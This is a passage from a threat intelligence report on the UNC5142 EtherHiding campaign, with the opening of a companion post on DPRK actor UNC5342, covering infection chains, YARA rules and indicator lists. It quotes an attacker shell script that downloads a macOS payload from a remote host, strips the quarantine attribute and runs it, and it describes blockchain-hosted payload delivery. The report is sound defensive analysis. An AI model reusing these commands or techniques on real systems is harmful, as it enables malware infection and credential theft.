The transaction history for Main infrastructure shows consistent updates over the course of the first half of 2025. Following the initial setup, Mandiant observed payload and lure updates occurring on a near-monthly and at times bi-weekly basis from December 2024 through the end of May 2025. This sustained activity, characterized by frequent updates to the third-level smart contract, demonstrates its role as the primary infrastructure for UNC5142's campaigns.

Secondary

Mandiant Threat Defense observed a significant operational expansion where the actor deployed the new, parallel Secondary infrastructure. The Secondary operator wallet (0x9AAe...fac9) was funded on Feb. 18, 2025, receiving 0.235 BNB (approximately $152 USD at the time). Shortly after, the entire three-contract system was deployed and configured. Mandiant observed that updates to Secondary infrastructure were active between late February and early March 2025. After this initial period, the frequency of updates to the Secondary smart contracts decreased substantially.

Figure 15: Timeline of UNC5142's on-chain infrastructure

The Main infrastructure stands out as the core campaign infrastructure, marked by its early creation and steady stream of updates. The Secondary infrastructure appears as a parallel, more tactical deployment, likely established to support a specific surge in campaign activity, test new lures, or simply build operational resilience.

As of this publication, the last observed on-chain update to this infrastructure occurred on July 23, 2025, suggesting a pause in this campaign or a potential shift in the actor's operational methods. 

Final Payload Distribution

Over the past year, Mandiant Threat Defense has observed UNC5142 distribute a wide range of final payloads, including VIDAR, LUMMAC.V2, and RADTHIEF (Figure 16). Given the distribution of a variety of payloads over a range of time, it is possible that UNC5142 functions as a malware distribution threat cluster. Distribution threat clusters play a significant role within the cyber criminal threatscape, providing actors of varying levels of technical sophistication a means to distribute malware and/or gain initial access to victim environments. However, given the consistent distribution of infostealers, it’s also plausible that the threat cluster’s objective is to obtain stolen credentials to facilitate further operations, such as selling the credentials to other threat clusters. While the exact business model of UNC5142 is unclear, GTIG currently does not attribute the final payloads to the threat cluster due to the possibility it is a distribution threat cluster.

Figure 16: UNC5142 final payload distribution over time

An analysis of their infection chains since the beginning of 2025 reveals that UNC5142 follows a repeatable four-stage delivery chain after the initial CLEARSHORT lure:

1. The initial dropper: The first stage almost always involves the execution of a remote HTML Application (.hta) file, often disguised with a benign file extension like .xll (Excel Add-in). This component, downloaded from a malicious domain or a legitimate file-sharing service, serves as the entry point for executing code on the victim's system outside the browser's security sandbox.

2. The PowerShell loader: The initial dropper’s primary role is to download and execute a second-stage PowerShell script. This script is responsible for defense evasion and orchestrating the download of the final payload.

3. Abuse of legitimate services: The actor has consistently leveraged legitimate file hosting services such as GitHub and MediaFire to host encrypted data blobs, with some instances observed where final payloads were hosted on their own infrastructure. This tactic helps the malicious traffic blend in with legitimate network activity, bypassing reputation-based security filters.

4. In-memory execution: In early January, executables were being used to serve VIDAR, but since then, the final malware payload has transitioned to being delivered as an encrypted data blob disguised as a common file type (e.g., .mp4, .wav, .dat). The PowerShell loader contains the logic to download this blob, decrypt it in memory, and execute the final payload (often a .NET loader), without ever writing the decrypted malware to disk.

Figure 17: UNC5142 Infostealer delivery infection chain

Earlier Campaigns

In earlier infection chains, the URL for the first-stage .hta dropper was often hardcoded directly into the CLEARSHORT lure's command (e.g., mshta hxxps[:]//...pages.dev). The intermediate PowerShell script would then download the final malware directly from a public repository like GitHub.

January 2025

The actor’s primary evolution was to stop delivering the malware directly as an executable file. Instead, they began hosting encrypted data blobs on services like MediaFire, disguised as media files (.mp4, .mp3). The PowerShell loaders were updated to include decryption routines (e.g., AES, TripleDES) to decode these blobs in memory, revealing a final-stage .NET dropper or the malware itself.

February 2025 & Beyond

The most significant change was the deeper integration of their on-chain infrastructure. Instead of hardcoding the dropper URL in the lure, the CLEARSHORT script began making a direct eth_call to the Third-Level Smart Contract. The smart contract now dynamically provides the URL of the first-stage dropper. This gives the actor complete, real-time control over their post-lure infrastructure; they can change the dropper domain, filename, and the entire subsequent chain by simply sending a single, cheap transaction to their smart contract.

In the infection chain leading to RADTHIEF, Mandiant Threat Defense observed the actor reverting to the older, static method of hardcoding the first-stage URL directly into the lure. This demonstrates that UNC5142 uses a flexible approach, adapting its infection methods to suit each campaign.

Targeting macOS

Notably, the threat cluster has targeted both Windows and macOS systems with their distribution campaigns. In February 2025 and again in April 2025, UNC5142 distributed ATOMIC, an infostealer tailored for macOS. The social engineering lures for these campaigns evolved; while the initial February lure explicitly stated “Instructions For MacOS”, the later April versions were nearly identical to the lures used in their Windows campaigns (Figure 18 and Figure 19). In the February infection chain, the lure prompted the user to run a bash command that retrieved a shell script (Figure 18). This script then used curl to fetch the ATOMIC payload from the remote server hxxps[:]//browser-storage[.]com/update and writes the ATOMIC payload to a file named /tmp/update. (Figure 20). The use of the xattr command within the bash script is a deliberate defense evasion technique designed to remove the com.apple.quarantine attribute, which prevents macOS from displaying the security prompt that normally requires user confirmation before running a downloaded application for the first time.

Figure 18: macOS “Installation Instructions” CLEARSHORT lure from February 2025

Figure 19: macOS “Verification Steps” CLEARSHORT lure from May 2025

curl -o /tmp/update https://browser-storage[.]com/update xattr -c /tmp/update chmod +x /tmp/update /tmp/update

Figure 20: install.sh shell script contents

Outlook & Implications

Over the past year, UNC5142 has demonstrated agility, flexibility, and an interest in adapting and evolving their operations. Since mid-2024, the threat cluster has tested out and incorporated a wide swath of changes, including the use of multiple smart contracts, AES-encryption of secondary payloads, CloudFlare .dev pages to host landing pages, and the introduction of the ClickFix social engineering technique. It is likely these changes are an attempt to bypass security detections, hinder or complicate analysis efforts, and increase the success of their operations. The reliance on legitimate platforms such as the BNB Smart Chain and Cloudflare pages may lend a layer of legitimacy that helps evade some security detections. Given the frequent updates to the infection chain coupled with the consistent operational tempo, high volume of compromised websites, and diversity of distributed malware payloads over the past year and a half, it is likely that UNC5142 has experienced some level of success with their operations. Despite what appears to be a cessation or pause in UNC5142 activity since July 2025, the threat cluster’s willingness to incorporate burgeoning technology and their previous tendencies to consistently evolve their TTPs could suggest they have more significantly shifted their operational methods in an attempt to avoid detection. 

Acknowledgements

Special acknowledgment to Cian Lynch for involvement in tracking the malware as a service distribution cluster, and to Blas Kojusner for assistance in analyzing infostealer malware samples. We are also grateful to Geoff Ackerman for attribution efforts, as well as Muhammad Umer Khan and Elvis Miezitis for providing detection opportunities. A special thanks goes to Yash Gupta for impactful feedback and coordination, and to Diana Ion for valuable suggestions on the blog post.

Detection Opportunities

The following indicators of compromise (IOCs) and YARA rules are also available as a collection and rule pack in Google Threat Intelligence (GTI). 

Detection Through Google Security Operations

Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity detailed in this blog post is associated with several specific MITRE ATT&CK tactics and techniques, which are detected under the following rule names:

• Run Utility Spawning Suspicious Process

• Mshta Remote File Execution

• Powershell Launching Mshta

• Suspicious Dns Lookup Events To C2 Top Level Domains

• Suspicious Network Connections To Mediafire

• Mshta Launching Powershell

• Explorer Launches Powershell Hidden Execution

MITRE ATT&CK

Rule Name

Tactic

Technique

Run Utility Spawning Suspicious Process

TA0003

T1547.001

Mshta Remote File Execution

TA0005

T1218.005

Powershell Launching Mshta

TA0005

T1218.005

Suspicious Dns Lookup Events To C2 Top Level Domains

TA0011

T1071.001

Suspicious Network Connections To Mediafire

TA0011

T1071.001

Mshta Launching Powershell

TA0005

T1218.005

Explorer Launches Powershell Hidden Execution

TA0002

T1059.001

YARA Rules rule M_Downloader_CLEARSHORT_1 { meta: author = "Mandiant" strings: $payload_b641 = "ipconfig /flushdns" base64 $payload_b642 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" base64 $payload_b643 = "[System.Diagnostics.Process]::Start(" base64 $payload_b644 = "-ep RemoteSigned -w 1 -enc" base64 $payload_o1 = "ipconfig /flushdns" nocase ascii wide $payload_o2 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" nocase ascii wide $payload_o3 = "[System.Diagnostics.Process]::Start(" nocase ascii wide $payload_o4 = "-ep RemoteSigned -w 1 -enc" nocase ascii wide $htm_o1 = "title: \"Google Chrome\"," $htm_o2 = "PowerShell" $htm_o3 = "navigator.clipboard.writeText" $htm_o4 = "document.body.removeChild" $htm_o5 = "downloadButton.classList.add('downloadButton');" $htm_o6 = "getUserLanguage().substring(0, 2);" $htm_o7 = "translateContent(userLang);" $htm_b64_1 = "title: \"Google Chrome\"," base64 $htm_b64_2 = "PowerShell" base64 $htm_b64_3 = "navigator.clipboard.writeText" base64 $htm_b64_4 = "document.body.removeChild" base64 $htm_b64_5 = "downloadButton.classList.add('downloadButton');" base64 $htm_b64_6 = "getUserLanguage().substring(0, 2);" base64 $htm_b64_7 = "translateContent(userLang);" base64 condition: filesize<1MB and (4 of ($payload_b*) or 4 of ($payload_o*) or 4 of ($htm_b*) or 4 of ($htm_o*)) } rule M_Downloader_CLEARSHORT_2 { meta: author = "Mandiant" strings: $htm1 = "const base64HtmlContent" $htm2 = "return decodeURIComponent(escape(atob(str)));" $htm3 = "document.body.style.overflow = 'hidden';" $htm4 = "document.body.append(popupContainer);" $htm5 = "Object.assign(el.style, styles);" $htm_b64_1 = "const base64HtmlContent" base64 $htm_b64_2 = "return decodeURIComponent(escape(atob(str)));" base64 $htm_b64_3 = "document.body.style.overflow = 'hidden';" base64 $htm_b64_4 = "document.body.append(popupContainer);" base64 $htm_b64_5 = "Object.assign(el.style, styles);" base64 condition: filesize<1MB and 5 of ($htm*) } rule M_Downloader_CLEARSHORT_3 { meta: author = "Mandiant" strings: $smart_contract1 = "9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53" nocase $smart_contract2 = "8FBA1667BEF5EdA433928b220886A830488549BD" nocase $smart_contract3 = "53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA" nocase $smart_contract2_hex = /38(46|66)(42|62)(41|61)31363637(42|62)(45|65)(46|66)35(45|65)(64|44)(41|61)343333393238(42|62)323230383836(41|61)383330343838353439(42|62)(44|64)/ $smart_contract1_hex = /39313739(64|44)(64|44)(61|41)38(42|62)323835303430(42|62)(66|46)333831(41|61)(41|61)(42|62)(62|42)38(61|41)31(66|46)34(61|41)31(62|42)38(63|43)3337(45|65)(64|44)3533/ $smart_contract3_hex = /3533(66|46)(64|44)3534(66|46)3535(43|63)3933(66|46)39(42|62)(43|63)(43|63)(41|61)343731(63|43)(44|64)30(43|63)(63|43)(62|42)(61|41)(42|62)(43|63)33(41|61)(63|43)(62|42)(64|44)33(45|65)34(41|61)(41|61)/ $enc_marker1 = "4834734941444748553263432f34315662572f624" $enc_marker2 = "4834734941465775513263432f2b3257775772" $c2_marker_capcha = "743617074636861" $c2_marker_https = "68747470733a2f2f72" $c2_marker_json = "\"jsonrpc\":\"2.0\",\"id\":\"" $str1 = /Windows\s*\+\s*R/ nocase $str2 = /CTRL\s*\+\s*V/ nocase $str3 = "navigator.clipboard.writeText" nocase $str4 = "captcha" nocase $str5 = ".innerHTML" nocase $payload1 = ".shop" base64 $payload2 = "[scriptblock]::Create(" nocase $payload3 = "HTA:APPLICATION" nocase condition: filesize < 15MB and (any of ($smart_contract*) or any of ($enc_marker*) or all of ($c2_marker*) or all of ($str*) or all of ($payload*)) } Host-Based IOCs

SHA256

Malware Family

bcbdb74f97092dfd68e7ec1d6770b6d1e1aae091f43bcebb0b7bce6c8188e310

VIDAR

88019011af71af986a64f68316e80f30d3f57186aa62c3cef5ed139eb49a6842

VIDAR

27105be1bdd9f15a1b1a2b0cc5de625e2ecd47fdeaed135321641eea86ad6cb0

VIDAR

72d8fa46f402dcc4be78306d0535c9ace0eb9fabae59bd3ba3cc62a0bdf3db91

LUMMAC.V2

3023b0331baff73ff894087d1a425ea4b2746caf514ada624370318f27e29c2c

LUMMAC.V2

4b47b55ae448668e549ffc04e82aee41ac10e3c8b183012a105faf2360fc5ec1

RADTHIEF

091f9db54382708327f5bb1831a4626897b6710ffe11d835724be5c224a0cf83

ATOMIC

Network-Based IOCs

Date

CLEARSHORT Hosting URL

2025-05-30

hXXps://yie-cpj[.]pages[.]dev/

2025-05-05

hXXps://n51v[.]pages[.]dev/

2025-05-05

hXXps://lightsoi[.]pages[.]dev/

2025-05-01

hXXps://stat[.]bluetroniq[.]vip/

2025-05-01

hXXps://tnop[.]pages[.]dev/

2025-04-30

hXXps://app.bytevista[.]cloud/wfree

2025-04-30

hXXps://ho8[.]pages[.]dev/

2025-04-30

hXXps://z1z[.]pages[.]dev/

2025-04-30

hXXps://yuun[.]pages[.]dev/

2025-04-29

hXXps://tuboos[.]pages[.]dev/

2025-04-29

hXXps://min-js-lib[.]pages[.]dev/

2025-04-28

hXXps://yoloff[.]pages[.]dev/

2025-04-28

hXXps://relmake[.]pages[.]dev/

2025-04-26

hXXps://javascript-67t[.]pages[.]dev/

2025-04-25

hXXps://sticker-88l[.]pages[.]dev/support

2025-04-24

hXXps://know-knock-who-is-here[.]pages[.]dev/

2025-04-23

hXXps://ndgadfqwywqe[.]pages[.]dev/win

2025-04-23

hXXps://jjiiiiiiiiijjjj[.]pages[.]dev/

2025-04-22

hXXps://gthfjdk[.]pages[.]dev/

2025-04-22

hXXps://ffmqitnka[.]pages[.]dev/

2025-04-21

hXXps://jrtersdfg[.]pages[.]dev/

2025-04-20

hXXps://rhfvjck[.]pages[.]dev/

2025-04-20

hXXps://tracklist22[.]pages[.]dev/

2025-04-20

hXXps://tracklist22[.]pages[.]dev/

2025-04-20

hXXps://sound-designer-v21[.]pages[.]dev/

2025-04-19

hXXps://rivertracker[.]pages[.]dev/

2025-04-16

hXXps://bootstrappa[.]pages[.]dev/

2025-04-16

hXXps://renovateai[.]pages[.]dev/

2025-04-05

hXXps://nhgfdc-ok[.]pages[.]dev/

2025-04-05

hXXps://yt3cvkj43ws[.]pages[.]dev/

2025-04-04

hXXps://rose-pole-chip[.]pages[.]dev/

2025-04-03

hXXps://0-000-0[.]pages[.]dev/

2025-04-02

hXXps://000-0-000[.]pages[.]dev/

2025-04-02

hXXps://xxx-xx-x-xxx[.]pages[.]dev/

2025-03-18

hXXps://ooooi1[.]pages[.]dev/kop

2025-03-18

hXXps://helloworld-f1f[.]pages[.]dev/penguin

2025-03-16

hXXps://hfdjb[.]pages[.]dev/start

2025-03-13

hXXps://sunlight-11[.]pages[.]dev/a

2025-03-12

hXXps://bbb1-9we[.]pages[.]dev/mountain

2025-03-12

hXXps://jsfiles-bqq[.]pages[.]dev/1

2025-03-11

hXXps://mixg-u[.]pages[.]dev/page_d

2025-03-07

hXXps://kolobsgw[.]pages[.]dev/

2025-03-06

hXXps://nn11[.]pages[.]dev/

2025-03-05

hXXps://nnoq[.]pages[.]dev/

2025-03-05

hXXps://fmoz[.]pages[.]dev/

2025-03-05

hXXps://x1x1[.]pages[.]dev/native1E

2025-03-05

hXXps://fwfa[.]pages[.]dev/kioto

2025-03-04

hXXps://fhjwekn[.]pages[.]dev/ibn

2025-03-04

hXXps://dsk1a[.]pages[.]dev/onside

2025-03-02

hXXps://f23-11r[.]pages[.]dev/verse

2025-03-02

hXXps://dfhusj[.]pages[.]dev/train

2025-03-01

hXXps://bsdw[.]pages[.]dev/blink

2025-02-28

hXXps://hypo-dance[.]pages[.]dev/damn

2025-02-26

hXXps://ert67-o9[.]pages[.]dev/data

2025-02-26

hXXps://f003[.]backblazeb2[.]com/file/skippp/uu[.]html

2025-02-26

hXXps://f003[.]backblazeb2[.]com/file/skippp/index[.]html

2025-02-25

hXXps://hostme[.]pages[.]dev/host

2025-02-25

hXXps://ghost-name[.]pages[.]dev/website

2025-02-24

hXXps://gdfg-23rwe[.]pages[.]dev/index[.]html

2025-02-21

hXXps://sha-11x[.]pages[.]dev/

2025-02-20

hXXps://b1-c1-k8[.]pages[.]dev/

2025-02-20

hXXps://1a-a1[.]pages[.]dev/

2025-02-20

hXXps://sdfwefwg[.]pages[.]dev/

2025-02-19

hXXps://niopg[.]pages[.]dev/

2025-02-19

hXXps://sdfwefwg[.]pages[.]dev/

2025-02-18

hXXps://cleaning-devices-k[.]pages[.]dev/

2025-02-16

hXXps://tour-agency-media[.]pages[.]dev/

2025-02-16

hXXps://fresh-orange-juice[.]pages[.]dev/

2025-02-16

hXXps://you-insk-bad[.]pages[.]dev/

2025-02-11

hXXps://human-verify-7u[.]pages[.]dev/

2025-02-10

hXXps://recaptcha-verify-me-1c[.]pages[.]dev/

2025-02-07

hXXps://macos-browser-update-9n[.]pages[.]dev/

2025-02-07

hXXps://macos-browser-update-5i[.]pages[.]dev/

2025-02-07

hXXps://macos-browser-update-5y[.]pages[.]dev/

2025-02-07

hXXps://recaptcha-verify-2e[.]pages[.]dev/

2025-02-07

hXXps://recaptcha-verify-7z[.]pages[.]dev/

2025-02-07

hXXps://recaptcha-verify-1t[.]pages[.]dev/

2025-02-04

hXXps://recaptcha-verify-9m[.]pages[.]dev/

2025-02-02

hXXps://disable-data-collect-ai[.]pages[.]dev/

2025-01-25

hXXps://recaptcha-verify-1r[.]pages[.]dev/

2025-01-23

hXXps://recaptha-verify-5q[.]pages[.]dev/

2025-01-22

hXXps://recaptha-verify-6l[.]pages[.]dev/

2025-01-02

hXXps://recaptha-verify-1n[.]pages[.]dev/

2024-12-31

hXXps://recaptha-verify-4z[.]pages[.]dev/

2024-12-30

hXXps://recaptha-verify-7u[.]pages[.]dev/

2024-12-28

hXXps://recaptha-verify-c1[.]pages[.]dev/

2024-12-28

hXXps://recaptha-verify-3m[.]pages[.]dev/

2024-12-27

hXXps://recaptha-verify-2w[.]pages[.]dev/

2024-12-25

hXXps://recaptha-verify-q3[.]pages[.]dev/

2024-12-23

hXXps://recaptcha-dns-o5[.]pages[.]dev/

2024-12-21

hXXps://recaptcha-dns-d9[.]pages[.]dev/

2024-12-20

hXXps://recaptha-verify-9o[.]pages[.]dev/

2024-12-19

hXXps://recaptcha-0d-verify[.]pages[.]dev/

2024-12-17

hXXps://recaptha-verify-7y[.]pages[.]dev/

2024-12-15

hXXps://dns-resolver-es8[.]pages[.]dev/

2024-12-14

hXXps://ip-provider[.]pages[.]dev/

Date

Next Stage Payload URL

2025-05-30

hXXps://kimbeech[.]cfd/cap/verify.sh

2025-05-13

hXXps://entrinidad[.]cfd/1/verify.sh

2025-05-11

hXXps://tofukai[.]cfd/2/verify.sh

2025-05-08

hXXps://privatunis[.]cfd/1/verify.sh

2025-05-05

hXXps://e[.]overallwobbly[.]ru/era-stc

2025-05-01

hXXps://salorttactical[.]top/2/verify.sh

2025-04-28

hXXps://security-2u6g-log[.]com/1/verify.sh

2025-04-28

hXXps://lammysecurity[.]com/4/verify.sh

2025-04-27

hXXps://security-7f2c-run[.]com/2/verify.sh

2025-04-26

hXXps://security-9y5v-scan[.]com/3/verify.sh

2025-04-25

hXXps://security-9y5v-scan[.]com/7/verify.sh

2025-04-24

hXXps://security-a2k8-go[.]com/6/verify.sh

2025-04-23

hXXps://security-check-l2j4[.]com/verify.sh

2025-04-23

hXXps://security-2k7q-check[.]com/1/verify.sh

2025-04-22

hXXps://security-check-u8a6[.]com/2/verify.sh

2025-04-20

hXXps://betiv[.]fun/7456f63a46cc318334a70159aa3c4291[.]txt

2025-04-16

hXXps://jdiazmemory[.]com/4/verify[.]sh

2025-04-16

hXXps://fleebunga[.]sbs

2025-04-05

hXXps://captcha-verify-6r4x[.]com/verify[.]sh

2025-04-05

hXXp://power[.]moon-river-coin[.]xyz/

2025-04-04

hXXp://run[.]fox-chair-dust[.]xyz/

2025-04-03

hXXps://captcha-cdn[.]com/verify.sh

2025-04-02

hXXp://bridge[.]tree-sock-rain[.]today/

2025-03-29

hXXp://ok[.]fish-cloud-jar[.]us/

2025-03-18

hXXp://message[.]zoo-ciry[.]shop/

2025-03-16

hXXp://text[.]cherry-pink[.]shop

2025-03-13

hXXp://sandbox[.]silver-map-generator[.]shop/

2025-03-12

hXXp://items[.]kycc-camera[.]shop/

2025-03-11

hXXp://def[.]ball-strike-up[.]shop/

2025-03-07

hXXp://incognito[.]uploads[.]it[.]com

2025-03-07

hXXps://bytes[.]microstorage[.]shop/

2025-03-05

hXXps://black[.]hologramm[.]us/

2025-03-04

hXXps://xxx[.]retweet[.]shop/

2025-03-02

hXXps://butanse[.]shop/

2025-03-01

hXXps://rengular11[.]today/

2025-02-28

hXXps://lumichain[.]pro/

2025-02-27

hXXps://www[.]mediafire[.]com/file_premium/d6r4c3nzfv9mgl7/glass.mp3/file

2025-02-26

hXXps://www[.]mediafire[.]com/file_premium/8q094mjevfshw6g/glass.mp3/file

2025-02-26

hXXps://tumbl[.]design-x[.]xyz/glass.mp3

2025-02-25

hXXps://sandbox[.]yunqof[.]shop/macan.mp3

2025-02-25

hXXps://block[.]a-1-a1a[.]shop/drive.mp3

2025-02-24

hXXps://note1[.]nz7bn[.]pro/nnp.mp4

2025-02-22

hXXps://ai[.]fdswgw[.]shop/one.mp4

2025-02-21

hXXps://mnjk-jk[.]bsdfg-zmp-q-n[.]shop/1.mp4

2025-02-20

hXXps://nbhg-v[.]iuksdfb-f[.]shop/ajax.mp3

2025-02-20

hXXps://hur[.]bweqlkjr[.]shop/m41.mp4

2025-02-19

hXXps://hur[.]bweqlkjr[.]shop/1a.m4a

2025-02-19

hXXps://yob[.]yrwebsdf[.]shop/1a.m4a

2025-02-19

hXXps://yob[.]yrwebsdf[.]shop/3t.mp4

2025-02-18

hXXps://start[.]cleaning-room-device[.]shop/sha589.m4a

2025-02-18

hXXps://discover-travel-agency[.]pro/joke[.]m4a

2025-02-18

hXXps://discover-travel-agency[.]pro/walking[.]mp3

2025-02-17

hXXps://discover-travel-agency[.]pro/1[.]m4a

2025-02-16

hXXps://travel[.]image-gene-saver[.]it[.]com/1[.]m4a

2025-02-16

hXXps://ads[.]green-pickle-jo[.]shop/1.m4a

2025-02-13

hXXps://recaptcha-verify-4h[.]pro/kangarooing.m4a

2025-02-13

hXXps://recaptcha-manual[.]shop/kangarooing.m4a

2025-02-11

hXXps://recaptcha-verify-4h[.]pro/xfiles/kangarooing[.]vsdx

2025-02-11

hXXps://recaptcha-verify-4h[.]pro/xfiles/verify.mp4

2025-02-10

hXXps://human-verify[.]shop/xfiles/verify.mp4

2025-02-10

hXXps://human-verify-4r[.]pro/xfiles/verify.mp4

2025-02-10

hXXps://human-verify-4r[.]pro/xfiles/human[.]cpp

2025-02-08

hXXps://dns-verify-me[.]pro/xfiles/train.mp4

2025-02-06

hXXp://83[.]217[.]208[.]130/xfiles/Ohio.mp4

2025-02-06

hXXp://83[.]217[.]208[.]130/xfiles/VIDA.mp3

2025-02-06

hXXp://83[.]217[.]208[.]130/xfiles/VIDA.mp4

2025-02-05

hXXp://83[.]217[.]208[.]130/xfiles/trip.mp4

2025-02-05

hXXp://83[.]217[.]208[.]130/xfiles/trip[.]psd

2025-02-05

hXXp://80[.]64[.]30[.]238/trip[.]psd

2025-02-03

hXXp://80[.]64[.]30[.]238/evix.xll

2025-02-03

hXXps://raw[.]githubusercontent[.]com/fuad686337/tyu/refs/heads/main/BEGIMOT.xll

2025-02-02

hXXps://disable-data-ai-agent[.]pages[.]dev

2025-01-23

hXXps://microsoft-dns-reload-5q[.]pages[.]dev

2025-01-22

hXXps://microsoft-dns-reload-6l[.]pages[.]dev

2025-01-02

hXXps://microsoft-dns-reload-1n[.]pages[.]dev

2024-12-31

hXXps://microsoft-dns-reload-5m[.]pages[.]dev

2024-12-30

hXXps://microsoft-dns-reload-7m[.]pages[.]dev

2024-12-28

hXXps://microsoft-dns-reload-9q[.]pages[.]dev

2024-12-28

hXXps://microsoft-dns-reload-3h[.]pages[.]dev

2024-12-27

hXXps://microsoft-dns-reload-4r[.]pages[.]dev

2024-12-25

hXXps://recaptcha-dns-b4[.]pages[.]dev

2024-12-23

hXXps://restart-dns-service-u2[.]pages[.]dev

2024-12-21

hXXps://recaptha-verify-8u[.]pages[.]dev

2024-12-20

hXXps://microsoft-dns-reload-6y[.]pages[.]dev

2024-12-19

hXXps://microsoft-dns-reload[.]pages[.]dev

2024-12-17

hXXps://dnserror-cdw[.]pages[.]dev/

2024-12-15

hXXps://dns-me[.]pages[.]dev/

Indicator

Description

saaadnesss[.]shop

UNC5142 C2 Check-in

lapkimeow[.]icu

UNC5142 C2 Check-in

ratatui[.]today

UNC5142 CLEARSHORT C2 Check-in

technavix[.]cloud

UNC5142 CLEARSHORT C2 Check-in

orange-service[.]xyz

UNC5142 CLEARSHORT C2 Check-in

hfdjmoedkjf[.]asia

UNC5142 CLEARSHORT C2 Check-in

polovoiinspektor[.]shop

UNC5142 Payload Hosting

googleapis-n-cdn3s-server[.]willingcapablepatronage[.]shop

UNC5142 Payload Hosting

rbk[.]scalingposturestrife[.]shop

UNC5142 Payload Hosting

ty[.]klipxytozyi[.]shop

UNC5142 Payload Hosting

discover-travel-agency[.]pro

UNC5142 Payload Hosting

browser-storage[.]com

UNC5142 Payload Hosting

kangla[.]klipxytozyi[.]shop

UNC5142 Payload Hosting

recaptcha-manual[.]shop

UNC5142 Payload Hosting

xxx[.]retweet[.]shop

UNC5142 Payload Hosting

w1[.]discoverconicalcrouton[.]shop

UNC5142 Payload Hosting

tlfiyat[.]shop

VIDAR C2

stchkr[.]rest

VIDAR C2

opbafindi[.]com

VIDAR C2

cxheerfulriver[.]pics

LUMMAC.V2 C2

importenptoc[.]com

LUMMAC.V2 C2

voicesharped[.]com

LUMMAC.V2 C2

inputrreparnt[.]com

LUMMAC.V2 C2

torpdidebar[.]com

LUMMAC.V2 C2

rebeldettern[.]com

LUMMAC.V2 C2

actiothreaz[.]com

LUMMAC.V2 C2

garulouscuto[.]com

LUMMAC.V2 C2

breedertremnd[.]com

LUMMAC.V2 C2

zenrichyourlife[.]tech

LUMMAC.V2 C2

pasteflawwed[.]world

LUMMAC.V2 C2

hoyoverse[.]blog

LUMMAC.V2 C2

dsfljsdfjewf[.]info

LUMMAC.V2 C2

stormlegue[.]com

LUMMAC.V2 C2

blast-hubs[.]com

LUMMAC.V2 C2

blastikcn[.]com

LUMMAC.V2 C2

decreaserid[.]world

LUMMAC.V2 C2

80.64.30[.]238

UNC5142 Payload Hosting

95.217.240[.]67

VIDAR C2

37.27.182[.]109

VIDAR C2

95.216.180[.]186

VIDAR C2

82.115.223[.]9

ATOMIC C2

91.240.118[.]2

RADTHIEF C2

Blockchain-Based IOCs Wallet Addresses

Main Wallets

Secondary Wallets

Description

0x9fA7A2F4872D10bF59d436EA8433067811F67C04

0x9FEF571BAeAbdB8bF417a780c1b78aAa3295fF45

0x3b5a23f6207d87B423C6789D2625eA620423b32D(OKX 35)

0x3b5a23f6207d87B423C6789D2625eA620423b32D(OKX 35)

Funding wallets used to layer funds before sending to the operator.

0xF5B962Cca374de0b769617888932250363C5971B 

0x9AAe9A373CECe9Ef8453fa2dEAF4bf7B8aFBfac9

The main actor controlled address that deploys and sends update transactions to the smart contract group.

Smart Contract Groups

Contract Level

Main Addresses

Secondary Addresses

First Level

0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53

0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c

Second Level

0x8FBA1667BEF5EdA433928b220886A830488549BD

0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E

Third Level

0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F

Written by: Blas Kojusner, Robert Wallace, Joseph Dobson

Google Threat Intelligence Group (GTIG) has observed the North Korea (DPRK) threat actor UNC5342 using ‘EtherHiding’ to deliver malware and facilitate cryptocurrency theft, the first time GTIG has observed a nation-state actor adopting this method. This post is part of a two-part blog series on adversaries using EtherHiding, a technique that leverages transactions on public blockchains to store and retrieve malicious payloads—notable for its resilience against conventional takedown and blocklisting efforts. Read about UNC5142 campaign leveraging EtherHiding to distribute malware.

Since February 2025, GTIG has tracked UNC5342 incorporating EtherHiding into an ongoing social engineering campaign, dubbed Contagious Interview by Palo Alto Networks. In this campaign, the actor uses JADESNOW malware to deploy a JavaScript variant of INVISIBLEFERRET, which has led to numerous cryptocurrency heists.

How EtherHiding Works

EtherHiding emerged in September 2023 as a key component in the financially motivated CLEARFAKE campaign (UNC5142), which uses deceptive overlays, like fake browser update prompts, to manipulate users into executing malicious code.

EtherHiding involves embedding malicious code, often in the form of JavaScript payloads, within a smart contract on a public blockchain like BNB Smart Chain or Ethereum. This approach essentially turns the blockchain into a decentralized and highly resilient command-and-control (C2) server.

The typical attack chain unfolds as follows:

1. Initial Compromise: DPRK threat actors typically utilize social engineering for their initial compromise (e.g., fake job interviews, crypto games, etc.). Additionally, in the CLEARFAKE campaign, the attacker first gains access to a legitimate website, commonly a WordPress site, through vulnerabilities or stolen credentials.

2. Injection of a Loader Script: The attacker injects a small piece of JavaScript code, often referred to as a "loader," into the compromised website.

3. Fetching the Malicious Payload: When a user visits the compromised website, the loader script executes in their browser. This script then communicates with the blockchain to retrieve the main malicious payload stored in a remote server. A key aspect of this step is the use of a read-only function call (such as eth_call), which does not create a transaction on the blockchain. This ensures the retrieval of the malware is stealthy and avoids transaction fees (i.e. gas fees).

4. Payload Execution: Once fetched, the malicious payload is executed on the victim's computer. This can lead to various malicious activities, such as displaying fake login pages, installing information-stealing malware, or deploying ransomware.

Advantages for Attackers

EtherHiding offers several significant advantages to attackers, positioning it as a particularly challenging threat to mitigate:

• Decentralization and Resilience: Because malicious code is stored on a decentralized and permissionless blockchain, there is no central server that law enforcement or cybersecurity firms can take down. The malicious code remains accessible as long as the blockchain itself is operational.

• Anonymity: The pseudonymous nature of blockchain transactions makes it difficult to trace the identity of the attackers who deployed the smart contract.

• Immutability: Once a smart contract is deployed, the malicious code within it typically cannot be easily removed or altered by anyone other than the contract owner. 

• Stealth: Attackers can retrieve the malicious payload using read-only calls that do not leave a visible transaction history on the blockchain, making their activities harder to track.

• Flexibility: The attacker who controls the smart contract can update the malicious payload at any time. This allows them to change their attack methods, update domains, or deploy different types of malware to compromised websites simultaneously by simply updating the smart contract.

